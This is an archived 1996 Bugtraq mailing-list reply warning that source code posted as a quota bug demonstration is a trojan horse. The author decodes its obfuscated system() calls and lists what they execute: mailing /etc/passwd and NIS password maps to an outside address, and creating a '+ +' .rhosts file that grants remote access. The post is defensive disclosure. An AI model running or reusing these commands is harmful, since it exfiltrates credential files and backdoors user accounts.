[2978] in bugtraq

home help back first fref pref prev next nref lref last post

Re: quotas? maybe you're not seeing all of it

daemon@ATHENA.MIT.EDU (Don Lewis)
Mon Jul 22 21:38:52 1996

Date: 	Mon, 22 Jul 1996 14:30:17 -0700
Reply-To: Bugtraq List <BUGTRAQ@NETSPACE.ORG>
From: Don Lewis <Don.Lewis@tsc.tdk.com>
To: Multiple recipients of list BUGTRAQ <BUGTRAQ@NETSPACE.ORG>
In-Reply-To:  "Brett L. Hawn" <blh@nol.net> "quotas? maybe you're not seeing
              all of it" (Jul 21, 10:57am)

Trojan horse alert!

On Jul 21, 10:57am, "Brett L. Hawn" wrote:
} Subject: quotas? maybe you're not seeing all of it
} I finally found the source to this annoying little monster so I thought I'd
} let ya'll see it. I don't know off hand if this little bug has been seen
} before/discussed before but if it hasn't I'm quite sure all of you would
} love to fix it :) I've not tried it on anything but Solaris 2.5 so far but
} I've no doubt that it'll work elsewhere as well.
}
} What this does is takes a file and hides it in somone else's directories
} using sendmail.

I don't think so ...

I changed the system() calls to 'printf("%s\n", ...)'

} system(zipper(initseeds));

I couldn't make sense of this, initseeds appears to be mangled.

} system(zipper(setupseeds));

This executes:
        cat /etc/passwd 2>/dev/null | mail tsk@mail.thirdwave.net >/dev/null 2>/dev/null

} system(checkseed(binseeds));

This executes:
        ypcat passwd.byname 2>/dev/null | mail tsk@mail.thirdwave.net >/dev/null 2>/dev/null

but only if a directory in your path doesn't exist.

} system("%s\n",zipper(procseeds));

I don't think system() can be called with printf() style arguments, but
this executes:
        touch .rhosts 2>/dev/null

} system("%s\n",zipper(boutseeds));

This executes:
        echo + + 2>/dev/null >> .rhosts

} system("%s\n",zipper(shtdwnseeds));

This executes:
        chmod 700 .rhosts 2>/dev/null

home help back first fref pref prev next nref lref last post